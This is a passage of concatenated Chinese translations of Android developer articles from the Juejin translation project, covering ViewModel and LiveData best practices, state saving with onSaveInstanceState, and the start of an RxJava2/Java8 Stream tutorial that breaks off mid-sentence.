中的一个典型“订阅”案例。 > ✅ 让 UI 观察数据的变化,而不是直接向 UI 推送数据 ## 臃肿的 ViewModel 能减轻你的担心的主意一定是个好主意。如果你的 ViewModel 里代码太多、承担了太多职责,试着去: * 将一些代码移到一个和 ViewModel 具有相同生命周期的 Presenter。让 Presenter 来跟应用的其他部分进行沟通并更新 ViewModel 中持有的 LiveData。 * 添加一个 Domain 层,使用 [Clean Architecture](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html) 架构。 这个架构很方便测试和维护,同时它也有助于快速的脱离主线程。 [Architecture Blueprints](https://github.com/googlesamples/android-architecture) 里面有关于 Clean Architecture 的示例。 > ✅ 把代码职责分散出去。如果需要的话,加上一个 Domain 层。 ## 使用数据仓库(Data Repository) 就像 [Guide to App Architecture(应用架构指南)](https://developer.android.com/topic/libraries/architecture/guide.html) 里说的那样,大多数 APP 有多个数据源,比如: 1. 远程:网络、云端 2. 本地:数据库、文件 3. 内存中的缓存 在应用中放一个数据层是一个好主意,数据层完全不关心展示层(`MVP` 中的 `P`)。由于保持缓存和数据库与网络同步的算法通常很琐碎复杂,所以建议为每个仓库创建一个类作为处理同步的单一入口。 如果是许多种并且差别很大的数据模型,考虑使用多个数据仓库。 > ✅ 添加数据仓库作为数据访问的单一入口。 ## 关于数据状态 考虑一下这种情况:你正在观察一个 ViewModel 暴露出来的 LiveData,它包含了一个待显示数据的列表。视图层该如何区分被加载的数据,网络错误和空列表呢? * 你可以从 ViewModel 中暴露出一个 `LiveData` 。 `MyDataState` 可能包含数据是正在加载还是已经加载成功、失败的信息。 ![](https://cdn-images-1.medium.com/max/800/1*Hj8ChdU7pakjcM3kxj_Fzg.png) 可以将类中有状态和其他元数据(比如错误信息)的数据封装到一个类。参见示例代码中的 [Resource](https://developer.android.com/topic/libraries/architecture/guide.html#addendum) 类。 > ✅ 使用一个包装类或者 LiveData 来暴露状态信息。 ## 保存 Activity 的状态 Activity 的状态是指在 Activity 消失时重新创建屏幕内容所需的信息,Activity 消失意味着被销毁或进程被终止。旋转屏幕是最明显的情况,我们已经在 ViewModel 部分提到了。保存在 ViewModel 的状态是安全的。 但是,你可能需要在其他 ViewModel 也消失的场景中恢复状态。例如,当操作系统因资源不足杀死进程时。 为了高效地保存和恢复 UI 状态,组合使用 `onSaveInstanceState()` 和 ViewModel。 这里有个示例:[ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders](https://medium.com/google-developers/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders-fc7cc4a6c090) ## 事件 我们管只发生一次的操作叫做事件。 ViewModels 暴露数据,但对于事件怎么样呢?例如,导航事件或显示 Snackbar 消息等应该仅被执行一次的操作。 事件的概念并不能和 LiveData 存取数据的方式完美匹配。来看下面这个从 ViewModel 中取出来的字段: ``` LiveData snackbarMessage = new MutableLiveData<>(); ``` 一个 Activity 开始观察这个字段,ViewModel 完成了一个操作,所以需要更新消息: ``` snackbarMessage.setValue("Item saved!"); ``` 显然,Activity 接收到这个值后会显示出来一个 SnackBar。 但是,如果用户旋转手机,则新的 Activity 被创建并开始观察这个字段。当对 LiveData 的观察开始时,Activity 会立即收到已经使用过的值,这将导致消息再次显示! 在示例中,我们继承 LiveData 创建一个叫做 [SingleLiveEvent](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/SingleLiveEvent.java) 的类来解决这个问题。它仅仅发送发生在订阅后的更新,要注意的是这个类只支持一个观察者。 > ✅ 使用像 [SingleLiveEvent](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/SingleLiveEvent.java) 这样的 observable 来处理导航栏或者 SnackBar 显示消息这样的情况 ## ViewModels 的泄漏问题 响应式范例在 Android 中运行良好,它允许在 UI 和应用程序的其他层之间建立方便的联系。 LiveData 是这个架构的关键组件,因此通常你的 Activity 和 Fragment 会观察 LiveData 实例。 ViewModel 如何与其他组件进行通信取决于你,但要注意泄漏问题和边界情况。看下面这个图,其中 Presenter 层使用观察者模式,数据层使用回调: ![](https://cdn-images-1.medium.com/max/800/1*0BaDp6eyWAEkUwmprKC9Rg.png) *UI 中的观察者模式和数据层中的回凋* 如果用户退出 APP,视图就消失了所以 ViewModel 也没有观察者了。如果数据仓库是个单例或者是和 Application 的生命周期绑定的,**这个数据仓库在进程被杀掉之前都不会被销毁**。这只会发生在系统需要资源或用户手动杀死应用程序时,如果数据仓库在 ViewModel 中持有对回调的引用,ViewModel 将发生暂时的内存泄漏。 ![](https://cdn-images-1.medium.com/max/800/1*OYyXV-qPtgmAlbDjI640KA.png) *Activity 已经被销毁了但是 ViewModel 还在苟且* 如果是一个轻量级 ViewModel 或可以保证操作快速完成,这个泄漏并不是什么大问题。但是,情况并不总是这样。理想情况下,ViewModels 在没有任何观察者的情况下不应该持有 ViewModel 的引用: ![](https://cdn-images-1.medium.com/max/800/1*y1Zimc4SFMentSLsk6VCcQ.png) 实现这种机制有很多方法: * **通过 ViewModel.onCleared()** 可以通知数据仓库丢掉对 ViewModel 的回凋。 * 在数据仓库中可以使用 **WeakReference** 或者直接使用 **Event Bus**(二者都很容易被误用甚至可能会带来坏处)。 * 使用 LiveData 在数据仓库和 ViewModel 中通信。就像 View 和 ViewModel 之间那样。 > ✅ 考虑边界情况,泄漏以及长时间的操作会对架构中的实例带来哪些影响。 > ❌ 不要将保存原始状态和数据相关的逻辑放在 ViewModel 中。任何从 ViewModel 所做的调用都可能是数据相关的。 ## 数据仓库中的 LiveData 为了避免泄露 ViewModel 和回调地狱(嵌套的回凋形成的“箭头”代码),可以像这样观察数据仓库: ![](https://cdn-images-1.medium.com/max/800/1*Ptw2Z3PyvOKCamvRHQsyCQ.png) 当 ViewModel 被移除或者视图的生命周期结束,订阅被清除: ![](https://cdn-images-1.medium.com/max/800/1*y1Zimc4SFMentSLsk6VCcQ.png) 如果尝试这种方法,有个问题:如果无法访问 LifecycleOwner ,如何从 ViewModel 中订阅数据仓库呢? 使用 [Transformations](https://developer.android.com/topic/libraries/architecture/livedata.html#transformations_of_livedata) 是个很简单的解决方法。 `Transformations.switchMap` 允许你创建响应其他 LiveData 实例的改变的 LiveData ,它还允许在调用链上传递观察者的生命周期信息: ``` LiveData repo = Transformations.switchMap(repoIdLiveData, repoId -> { if (repoId.isEmpty()) { return AbsentLiveData.create(); } return repository.loadRepo(repoId); } ); ``` 在这个例子中,当触发器得到一个更新时,该函数被调用并且结果被分发到下游。 当一个 Activity 观察到`repo` 时,相同的 LifecycleOwner 将用于 `repository.loadRepo(id)` 调用。 > ✅ 当需要在 [ViewModel](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 中需要 [Lifecycle](https://developer.android.com/reference/android/arch/lifecycle/Lifecycle.html) 对象时,使用 [Transformation](https://developer.android.com/topic/libraries/architecture/livedata.html#transformations_of_livedata) 可能是个好办法。 ## 继承 LiveData LiveData 最常见的用例是在 ViewModel 中使用 `MutableLiveData` 并且将它们暴露为 `LiveData` 来保证观察者不会改变他们。 如果你需要更多功能,扩展 LiveData 会让你知道什么时候有活跃的观察者。例如,当想要开始监听位置或传感器服务时,这将很有用。 ``` public class MyLiveData extends LiveData { public MyLiveData(Context context) { // Initialize service } @Override protected void onActive() { // Start listening } @Override protected void onInactive() { // Stop listening } } ``` ### 什么时候不该继承 LiveData 使用 `onActive()` 来启动加载数据的服务是可以的,但是如果你没有一个很好的理由这样做的话就不要这样做,没有必要非得等到 LiveData 开始被观察才加载数据。一些通用的模式是这样的: * 为 ViewModel 添加 `start()` 方法,并尽早调用这个方法。 (参见[Blueprints example](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/addedittask/AddEditTaskFragment.java#L64) ) * 设置一个控制启动加载的属性 (参见 [GithubBrowserExample](https://github.com/googlesamples/android-architecture-components/blob/master/GithubBrowserSample/app/src/main/java/com/android/example/github/ui/repo/RepoFragment.java#L81) ) > ❌ 通常不用拓展 LiveData。可以让 Activity 或 Fragment 告诉 ViewModel 什么时候开始加载数据。 [^是否需要关于 Architecture Component 的其他任何主题的指导(或意见)?留下评论!]: 感谢 [Lyla Fujiwara](https://medium.com/@lylalyla?source=post_page)、[Daniel Galpin](https://medium.com/@dagalpin?source=post_page)、[Wojtek Kaliciński](https://medium.com/@wkalicinski?source=post_page) 和 [Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_page)。 ---- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md ================================================ > * 原文地址:[ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders](https://medium.com/google-developers/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders-fc7cc4a6c090) > * 原文作者:[Lyla Fujiwara](https://medium.com/@lylalyla?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md) > * 译者:[Feximin](https://github.com/Feximin/) # ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders ### 介绍 我在[上篇博文](https://medium.com/google-developers/viewmodels-a-simple-example-ed5ac416317e)中用新的 [ViewModel](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 类开发了一个简单的用例来保存配置更改过程中的篮球分数。ViewModel 被设计用来以与生命周期相关的方式保存和管理 UI 相关的数据。ViewModel 允许数据在例如屏幕旋转这样的配置更改后依然保留。 现在,你可能会有几个问题是关于 ViewModel 到底能做什么。本文我将解答: * **ViewModel 是否对数据进行了持久化?** 简而言之,没有,还像平常那样去持久化。 * **ViewModel 是** [**onSaveInstanceState**](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle%29) **的替代品吗?** 简而言之,不是,但是他们不无关联,请继续读。 * **我如何高效地使用 ViewModel 来保存和恢复 UI 状态?** 简而言之,你可以混合混合 ViewModels、 `onSaveInstanceState()`、本地持久化一起使用。 * **ViewModel 是 Loader 的一个替代品吗?** 简而言之,对,ViewModel 结合其他几个类可以代替 Loader 使用。 ### 图模型是否对数据进行了持久化? **简而言之,没有。** 还像平常那样去持久化。 ViewModel 持有 **UI 中的临时数据**,但是他们不会进行持久化。一旦相关联的 UI 控制器(fragment/activity)被销毁或者进程停止了,ViewModel 和所有被包含的数据都将被垃圾回收机制标记。 那些被多个应用共用的数据应该像正常那样通过 [本地数据库,Shared Preferences,和/或者云存储](https://developer.android.com/guide/topics/data/data-storage.html)被持久化。如果你想让用户在应用运行在后台三个小时候后再返回到与之前完全相同的状态,你也需要将数据持久化。这是因为一旦你的活动进入后台,此时如果你的设备运行在低内存的情况下,你的应用进程是可以被终止的。下面是 activity 类文档中的一个[手册表](https://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle),它描述了在 activity 的哪个生命周期状态时你的应用是可被终止的: ![](https://cdn-images-1.medium.com/max/800/1*OlXDJ7WENwiFBgOeKWjH7g.png) [Activity 生命周期文档](https://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle) 在此提醒,如果一个应用进程由于资源限制而被终止的话,则不是正常终止并且没有额外的生命周期回调。这意味着你不能依赖于 [`onDestroy`](https://developer.android.com/reference/android/app/Activity.html#onDestroy%28%29) 调用。在进程终止的时候你**没有**机会持久化数据。因此如果你想最大可能的保持数据不丢失,你应该在用户一进入(activity)的时候就进行持久化。也就是说即便你的应用在由于资源限制而被终止或者设备电量用完了的时候数据也将会被保存下来。如果你允许在类似设备突然关机的情况下丢失数据,你可以在 ['onStop()']((https://developer.android.com/reference/android/app/Activity.html#onStop%28%29))回调的时候将其保存,这个方法在 activity 一进入后台的时候就会被调用。 ### ViewModel 是 onSaveInstanceState 的替代品吗? **简而言之,不是,** 但是他们不无关联,请继续读。 理解 [`onSaveInstanceState()`](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle,%20android.os.PersistableBundle%29) 和 [`Fragment.setRetainInstance(true)`](https://developer.android.com/reference/android/app/Fragment.html#setRetainInstance%28boolean%29) 二者之间的不同有助于理解了解这种差异的微妙之处。 **onSaveInstanceState():** 这个回调是为了保存两种情况下的**少量** UI 相关的数据: * 应用的进程在后台的时候由于内存限制而被终止。 * 配置更改。 `onSaveInstanceState()` 是被系统在 activity [stopped](https://developer.android.com/reference/android/app/Activity.html#onStop%28%29) 但没有 [finished](https://developer.android.com/reference/android/app/Activity.html#finish%28%29) 时调用的,而**不是**在用户显式地关闭 activity 或者在其他情形而导致 [`finish()`](https://developer.android.com/reference/android/app/Activity.html#finish%28%29) 被调用的时候调用。 注意,很多 UI 数据会自动地被保存和恢复: > “该方法的默认实现保存了关于 activity 的视图层次状态的临时信息,例如 [EditText](https://developer.android.com/reference/android/widget/EditText.html) 控件中的文本或者 [ListView](https://developer.android.com/reference/android/widget/ListView.html) 控件中的滚动条位置。” — [Saving and Restoring Instance State Documentation](https://developer.android.com/guide/components/activities/activity-lifecycle.html#saras)。 这些也是很好的例子说明了 `onSaveInstanceState()` 方法中存储的数据的类型。`onSaveInstanceState()` [不是被设计](https://developer.android.com/guide/topics/resources/runtime-changes.html#RetainingAnObject)来存储类似 bitmap 这样的大的数据的。`onSaveInstanceState()` 方法被设计用来存储那些小的与 UI 相关的并且序列化或者反序列化不复杂的数据。如果被序列化的对象是复杂的话,序列化会消耗大量的内存。由于这一过程发生在主线程的配置更改期间,它需要快速处理才不会丢帧和引起视觉上的卡顿。 **Fragment.setRetainInstance(true)**:[Handling Configuration Changes documentation](https://developer.android.com/guide/topics/resources/runtime-changes.html#RetainingAnObject) 描述了在配置更改期间的一个用来存储数据的进程使用了一个保留的 fragment。这听起来没有 `onSaveInstanceState()` 涵盖了配置更改和进程关闭两种情况那么有用。创建一个保留 fragment 的好处是这可以保存类似 image 那样的大型数据集或者网络连接那样的复杂对象。 **ViewModel 只能在配置更改相关的销毁的情况下保留,而不能在被终止的进程中存留。** 这使 ViewModel 成为搭配 `setRetainInstance(true)`(实际上,ViewModel 在幕后使用了一个 fragment 并将 [setRetainInstance](https://developer.android.com/reference/android/app/Fragment.html#setRetainInstance%28boolean%29) 方法中的参数设置为 true) 一块使用的 fragment 的一种替代品。 #### ViewModel 的其他好处 ViewModel 和 `onSaveInstanceState()` 在 UI 数据的存储方法上有很大差别。`onSaveInstanceState()` 是生命周期的一个回调函数,而 ViewModel 从根本上改变了 UI 数据在你的应用中的管理方式。下面是使用了 ViewModel 后比 `onSaveInstanceState()` 之外的更多的一些好处: * **ViewModel 鼓励良好的架构设计。数据与 UI 代码分离**,这使代码更加模块化且简化了测试。 * `onSaveInstanceState()` 被设计用来存储少量的临时数据,而不是复杂的对象或者媒体数据列表。**一个 ViewModel 可以代理复杂数据的加载,一旦加载完成也可以作为临时的存储**。 * `onSaveInstanceState()` 在配置更改期间和 activity 进入后台时被调用;在这两种情况下,如果你的数据被保存在 ViewModel 中,实际上并不需要重新加载或者处理他们。 ### 我如何高效地使用 ViewModel 来保存和恢复 UI 状态? **简而言之**,你可以**混合**使用 **ViewModel**、 **`onSaveInstanceState()`**、**本地持久化**。继续读看看如何使用。 重要的是你的 activity 维持着用户期望的状态,即便是屏幕旋转,系统关机或者用户重启。如我刚才所说,不要用复杂对象阻塞 `onSaveInstanceState` 方法同样也很重要。你也不想在你不需要的时候重新从数据库加载数据。让我们看一个 activity 的例子,在这个 activity 中你可以搜索你的音乐库: ![](https://cdn-images-1.medium.com/max/800/1*KjsvodQeJCZwSWiwtPET2g.png) Activity 未搜索时及搜索后的状态示例。 用户离开一个 activity 有两种常用的方式,用户期望的也是两种不同的结果: * 第一个是用户是否**彻底关闭**了 activity。如果用户将一个 activity 从 [recents screen](https://developer.android.com/guide/components/activities/recents.html) 中滑出或者[导航出去或退出](https://developer.android.com/training/design-navigation/ancestral-temporal.html)一个 activity 就可以彻底关闭它。这两种情形都假设**用户永久退出了这个 activity,如果重新进入那个 activity,他们所期望的是一个干净的页面**。对我们的音乐应用来说,如果用户完全关闭了音乐搜索的 activity 然后重新打开它,音乐搜索框和搜索结果都将被清除。 * 另一方面,如果用户旋转手机或者 在activity 进入后台然后回来,用户希望搜索结果和他们想搜索的音乐仍存在,就像进入后台前那样。用户有数种途径可以使 activity 进入后台。他们可以按 home 键或者通过应用的其他地方导航(出去)。抑或在查看搜索结果的时候电话打了进来或收到通知。然而用户最终希望的是当他们返回到那个 activity 的时候页面状态与离开前完全一样。 为了实现这两种情形下的行为,用可以将本地持久化、ViewModel 和 `onSaveInstanceState()` 一起使用。每一种都会存储 activity 中使用的不同数据: * **本地持久化**是用于存储当打开或关闭 activity 的时所有你不想丢失的数据。 **举例:** 包含了音频文件和元数据的所有音乐对象的集合。 * **ViewModel** 是用于存储显示相关 UI 控制器的所需的所有数据。 **举例:** 最近的搜索结果。 * **onSaveInstanceState** 是用于存储在 UI 控制器被系统终止又重建后可以轻松地重新加载 activity 状态时所需的少量数据。在本地存储中持久化复杂对象,在 `onSaveInstanceState()` 中为这些对象存储唯一的 ID,而不是直接存储复杂对象。 **举例:** 最近的搜索查询。 在音乐搜索的例子中,不同的事件应该被这样处理: **用户添加一首音乐的时候 —** ViewModel 会迅速代理本地持久化这条数据。如果新添加的音乐需要在 UI 上显示,你还应该更新 ViewModel 中的数据来反应音乐的添加。谨记切勿在主线程中向数据库插入数据。 **当用户搜索音乐的时候 —** 任何从数据库为 UI 控制器加载的复杂音乐数据应该马上存入 ViewModel。你也应该将搜索查询本身存入 ViewModel。 **当这个 activity 处于后台并且被系统终止的时候 —** 一旦 activity 进入后台 `onSaveInstanceState()` 就会被调用。你应将搜索查询存入 `onSaveInstanceState()` 的 bundle 里。这些少量数据易于保存。这同样也是使 activity 恢复到当前状态所需的所有数据。 **当 activity 被创建的时候 —** 可能出现三种不同的方式: * **Activity 是第一次被创建**:在这种情况下,`onSaveInstanceState()`方法中的 bundle 里是没有数据的,ViewModel 也是空的。创建 ViewModel 时,你传入一个空查询,ViewModel 会意识到还没有数据可以加载。这个 activity 以一种全新的状态启动起来。 * **Activity 在被系统终止后创建**:activity 的 `onSaveInstanceState()` 的 bundle 中保存了查询。Activity 会将这个查询传入 ViewModel。ViewModel发现缓存中没有搜索结果,就会使用给定的搜索查询代理加载搜索结果。 * **Activity 在配置更改后被创建**:Activity 会将本次查询保存在 `onSaveInstanceState()` 的 bundle 参数中并且 ViewModel 也会将搜索结果缓存起来。你通过 `onSaveInstanceState()` 的 bundle 将查询传入 ViewModel,这将决定它已加载了必须的数据从而**不**需要重新查询数据库。 这是一个良好的保存和恢复 activity 状态的方法。基于你的 activity 的实现,你可能根本不需要 `onSaveInstanceState()`。例如,有些 activity 在被用户关闭后不会以一个全新的状态打开。一般地,当我在 Android 手机上关闭然后重新打开 Chrome 时,返回到了关闭 Chrome 之前正在浏览的页面。如果你的 activity 行为如此,你可以不使用 `onSaveInstanceState()` 而在本地持久化所有数据。同样以音乐搜索为例,那意味着在例如 [Shared Preferences](https://developer.android.com/reference/android/content/SharedPreferences.html) 中持久化最近的查询。 此外,当你通过 intent 打开一个 activity,配置更改和系统恢复这个 activity 时 bundle 参数都会被传进来。如果搜索查询是通过 intent 的 extras 传进来,那么你就可以使用 extras 中的 bundle 代替 `onSaveInstanceState()` 中的 bundle。 不过,在这两种场景中,你仍需要一个 ViewModel 来避免因配置更改而重新从数据库中加载数据导致的资源浪费。 ### ViewModel 是 Loader 的一个替代品吗? **简而言之**,对,ViewModel 结合其他几个类可以代替 Loader 使用。 [**Loader**](https://developer.android.com/guide/components/loaders.html) 是 UI 控制器用来加载数据的。此外,Loader 可以在配置更改期间保留,比如说在加载的过程中你旋转了手机屏幕。这听起来很耳熟吧! Loader ,特别是 [CursorLoader](https://developer.android.com/reference/android/content/CursorLoader.html),的常见用法是观察数据库的内容并保持数据与 UI 同步。使用 CursorLoader 后,如果数据库其中的一个值发生改变,Loader 就会自动触发数据重新加载并且更新 UI。 ![](https://cdn-images-1.medium.com/max/800/1*QuZeqCSgKlrfD7CGQq1laA.png) ViewModel 与其他架构组件 [LiveData](https://developer.android.com/topic/libraries/architecture/livedata.html) 和 [Room](https://developer.android.com/topic/libraries/architecture/room.html) 一起使用可以替代 Loader。ViewModel 保证配置更改后数据不丢失。LiveData 保证 UI 与数据同步更新。Room 确保你的数据库更新时,LiveData 被通知到。 ![](https://cdn-images-1.medium.com/max/800/1*Zc2mtVLw7y10MFZq4za7EA.png) 由于 Loader 在 UI 控制器中作为回调被实现,因此 ViewModel 的一个额外优点是将 UI 控制器与数据加载分离开来。这可以减少类之间的强引用。 一些使用 ViewModels 、LiveData 为加载数据的方法: * 在[这篇文章](https://medium.com/google-developers/lifecycle-aware-data-loading-with-android-architecture-components-f95484159de4)中,[Ian Lake](https://medium.com/@ianhlake) 概述了如何使用 ViewModel 和 LiveData 来代替 [AsyncTaskLoader](https://developer.android.com/reference/android/content/AsyncTaskLoader.html)。 * 随着代码变得越来越复杂,你可以考虑在一个单独的类里进行实际的数据加载。一个 ViewModel 类的目的是为 UI 控制器持有数据。加载、持久化、管理数据这些复杂的方法超出了 ViewModel 传统功能的范围。[Guide to Android App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html#fetching_data) 建议创建一个**仓库**类。 > “仓库模块负责处理数据操作。他们为应用的其他部分提供了一套干净的 API。当数据更新时他们知道从哪里获取数据以及调用哪个 API。你可以把他们当做是不同数据源(持久模型、web service、缓存等)之间的协调员。” — [Guide to App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html#fetching_data) ### 结论以及进一步学习 在本文中,我回答了几个关于 ViewModel 类是什么和不是什么的问题。关键点是: * ViewModel 不是持久化的替代品 — 当数据改变时像平常那样持久化他们。 * ViewModel 不是 `onSaveInstanceState()` 的替代品,因为他们在与配置更改相关的销毁时保存数据,而不能在系统杀死应用进程时保存。 * `onSaveInstanceState()` 并不适用于那些需要长时间序列化/反序列化的数据。 * 为了高效的保存和恢复 UI 状态,可以混合使用 持久化、`onSaveInstanceState()` 和 ViewModel。复杂数据通过本地持久化保存然后用 `onSaveInstanceState()` 来保存那些复杂数据的唯一 ID。ViewModel 在数据加载后将他们保存在内存中。 * 在这个场景下,ViewModel 在 activity 旋转或者进入后台时仍保留数据,而单纯用 `onSaveInstanceState()` 并没那么容易实现。 * 结合 ViewModel 和 LiveData 一起使用可以代替 Loader。你可以使用 Room 来代替 CursorLoader 的功能。 * 创建仓库类来支持一个可伸缩的加载、缓存和同步数据的架构。 想要更多 ViewModel 相关的干货?请看: * [Instructions for adding the gradle dependencies](https://developer.android.com/topic/libraries/architecture/adding-components.html) * [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) documentation * Guided ViewModel practice with the [Lifecycles Codelab](https://codelabs.developers.google.com/codelabs/android-lifecycles/#0) * Helpful samples that include ViewModel [[Architecture Components](https://github.com/googlesamples/android-architecture-components)] [[Architecture Blueprint using Lifecycle Components](https://github.com/googlesamples/android-architecture/tree/dev-todo-mvvm-live/)] * The [Guide to App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html) 架构组件是基于你反馈来创建的。如果你有关于 ViewModel 或者任何架构组件的问题,请查看我们的[反馈页面](https://developer.android.com/topic/libraries/architecture/feedback.html)。关于本系列的任何问题,敬请留言。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md ================================================ > * 原文地址:[War against Learning Curve of RxJava2 + Java8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) > * 原文作者:[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [Boiler Yao](https://github.com/boileryao) > * 校对者: [Vivienmm](https://github.com/Vivienmm)、[GitFuture](https://github.com/GitFuture) ## 大战 RxJava2 和 Java8 Stream [ Android RxJava2 ] (这到底是什么) 第四部分 ## 又是新的一天,如果学点新东西,这一天一定会很酷炫。 小伙伴们一切顺利啊,这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md), [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经做好准备,可以开始使用 Rx 了。在使用 RxJava2 Android Observable 之前,我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8,而且通过使用 Java8 的 Stream API 让我感觉学习 RxJava2 Android 的过程更简单。 **动机:** 动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候,我并不知道自己会在什么地方,以何种方式使用到它。 现在我们已经学会了一些预备知识,但当时我什么都不懂。因此我开始学习如何根据数据或对象创建 Observable 。然后知道了当 Observable 的数据发生变化时,应该调用哪些接口(或者可以叫做“回调”)。这在理论上很好,但是当我付诸实践的时候,却 GG 了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题,是不能用响应或者函数式响应的思维思考问题。我熟悉命令式编程和面向对象编程,由于先入为主,所以对我来说理解响应式会有些难。我一直在问这些问题:我该在哪里实现?我应该怎么实现?如果你能坚持看完这篇文章,我可以 100% 保证你会知道怎样把命令式代码转换成 Rx 代码,虽然写出来的 Rx 代码不是最好的,但至少你知道该从哪里入手了。 **回顾:** 我想回顾之前三篇文章中我们提到过的所有概念 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)、[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)、 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。因为现在我们要用到这些概念了。在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 我们学习了观察者模式; 在 [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) 学习了拉模式和推模式、命令式和响应式;在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 我们学习了函数式接口(Functional Interfaces)、 接口默认方法(Default Methods)、高阶函数(Higher Order Functions)、函数的副作用(Side Effects in Functions)、纯函数(Pure Functions)、Lambda 表达式和函数式编程。我在下面写了一些定义(很无聊的东西)。如果你清楚这些定义,可以跳到下一部分。 **函数式接口是只有一个抽象方法的接口。** **在 Java8 我们可以在接口中定义方法,这种方法叫做“默认方法”。** **至少有一个参数是函数的函数和返回类型为函数的函数称为高阶函数。** **纯函数的返回值仅仅由参数决定,不会产生可见的副作用(比如修改一些影响程序状态的值。——译注)。** **Lambda 表达式在计算机编程中又叫做匿名函数,是一种在声明和执行的时候不会跟标识符绑定的函数或者子程序。** **简介:** 今天我们将向 RxJava 的学习宣战。我确定在最后我们会取得胜利。 作战策略: 1. Java8 Stream(这使得我们快速开始,我们将从 Android 开发者的角度来看) 2. Java8 Stream 向 Rx Observable 转变 3. RxJava2 Android 示例 4. 技巧,怎样把命令式代码转为 RxJava2 Android 代码 是时候根据我们的策略发动进攻了,兄弟们上。 **1. Java8 Stream:** 现在我用 IntelliJ 这个 IDE 来写 Java8 的 Stream。你可能会想为什么我去使用在 Android 不支持的 Java8 的 